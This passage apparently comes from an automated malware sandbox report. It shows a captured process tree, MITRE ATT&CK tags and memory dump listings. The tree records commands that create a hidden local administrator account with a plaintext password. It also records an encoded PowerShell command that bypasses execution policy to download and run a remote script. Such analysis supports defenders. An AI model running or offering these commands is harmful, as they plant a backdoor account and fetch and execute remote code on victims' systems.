    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3876

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc J8h4OZY1
1⤵
PID:3148
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc J8h4OZY1
  2⤵
  PID:3108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc J8h4OZY1
    3⤵
    PID:2628

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2692
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:2696

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:412
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:2588

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2120
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/184-191-0x000001D1183B0000-0x000001D1183B2000-memory.dmp

Filesize
8KB

Download
memory/184-202-0x000001D1183B6000-0x000001D1183B8000-memory.dmp

Filesize
8KB

Download
memory/184-192-0x000001D1183B3000-0x000001D1183B5000-memory.dmp

Filesize
8KB

Download
memory/184-204-0x000001D1183B8000-0x000001D1183BA000-memory.dmp

Filesize
8KB

Download
memory/1496-160-0x000002CF1B623000-0x000002CF1B625000-memory.dmp

Filesize
8KB

Download
memory/1496-174-0x000002CF1C160000-0x000002CF1C161000-memory.dmp

Filesize
4KB

Download
memory/1496-181-0x000002CF1B628000-0x000002CF1B629000-memory.dmp

Filesize
4KB

Download
memory/1496-159-0x000002CF1B620000-0x000002CF1B622000-memory.dmp

Filesize
8KB

Download
memory/1496-161-0x000002CF1B626000-0x000002CF1B628000-memory.dmp

Filesize
8KB

Download
memory/1496-151-0x000002CF1B7E0000-0x000002CF1B7E1000-memory.dmp

Filesize
4KB

Download
memory/1496-148-0x000002CF1B630000-0x000002CF1B631000-memory.dmp

Filesize
4KB

Download
memory/1496-173-0x000002CF1BDD0000-0x000002CF1BDD1000-memory.dmp

Filesize
4KB

Download
memory/1496-167-0x000002CF1B770000-0x000002CF1B771000-memory.dmp

Filesize
4KB

Download
memory/2604-206-0x000001C73D763000-0x000001C73D765000-memory.dmp

Filesize
8KB

Download
memory/2604-205-0x000001C73D760000-0x000001C73D762000-memory.dmp

Filesize
8KB

Download
memory/2604-207-0x000001C73D766000-0x000001C73D768000-memory.dmp

Filesize
8KB

Download
memory/2604-209-0x000001C73D768000-0x000001C73D76A000-memory.dmp

Filesize
8KB

Download
memory/2628-246-0x000001C3F9943000-0x000001C3F9945000-memory.dmp

Filesize
8KB

Download
memory/2628-248-0x000001C3F9948000-0x000001C3F9949000-memory.dmp

Filesize
4KB

Download
memory/2628-247-0x000001C3F9946000-0x000001C3F9948000-memory.dmp

Filesize
8KB

Download
memory/2628-245-0x000001C3F9940000-0x000001C3F9942000-memory.dmp

Filesize
8KB

Download
memory/2680-213-0x00000247762B8000-0x00000247762BA000-memory.dmp

Filesize
8KB

Download
memory/2680-211-0x00000247762B3000-0x00000247762B5000-memory.dmp

Filesize
8KB

Download
memory/2680-212-0x00000247762B6000-0x00000247762B8000-memory.dmp

Filesize
8KB

Download
memory/2680-210-0x00000247762B0000-0x00000247762B2000-memory.dmp

Filesize
8KB

Download
memory/3884-142-0x0000026642BB8000-0x0000026642BBA000-memory.dmp

Filesize
8KB

Download
memory/3884-137-0x0000026642BB3000-0x0000026642BB5000-memory.dmp

Filesize
8KB

Download
memory/3884-139-0x0000026642BB6000-0x0000026642BB7000-memory.dmp

Filesize
4KB

Download
memory/3884-138-0x0000026642BB5000-0x0000026642BB6000-memory.dmp

Filesize
4KB

Download
memory/3884-135-0x0000000000400000-0x0000000000A57000-memory.dmp

Filesize
6.3MB

Download
memory/3884-136-0x0000026642BB0000-0x0000026642BB2000-memory.dmp

Filesize
8KB

Download
memory/3884-123-0x0000000000400000-0x0000000000A57000-memory.dmp

Filesize
6.3MB

Download
memory/3884-131-0x0000026643000000-0x0000026643421000-memory.dmp

Filesize
4.1MB

Download
memory/3968-119-0x000000001E380000-0x000000001E9AB000-memory.dmp

Filesize
6.2MB

Download
memory/3968-121-0x0000000001610000-0x0000000001611000-memory.dmp

Filesize
4KB

Download
memory/3968-118-0x000000001E1B0000-0x000000001E1B1000-memory.dmp

Filesize
4KB

Download
memory/3968-116-0x000000001CFA0000-0x000000001D7DA000-memory.dmp

Filesize
8.2MB

Download
memory/3968-117-0x000000001CB90000-0x000000001CB92000-memory.dmp

Filesize
8KB

Download
memory/3968-120-0x0000000001600000-0x0000000001610000-memory.dmp

Filesize
64KB

Download
memory/3968-114-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

Download
memory/3968-122-0x0000000020100000-0x0000000020709000-memory.dmp

Filesize
6.0MB

Download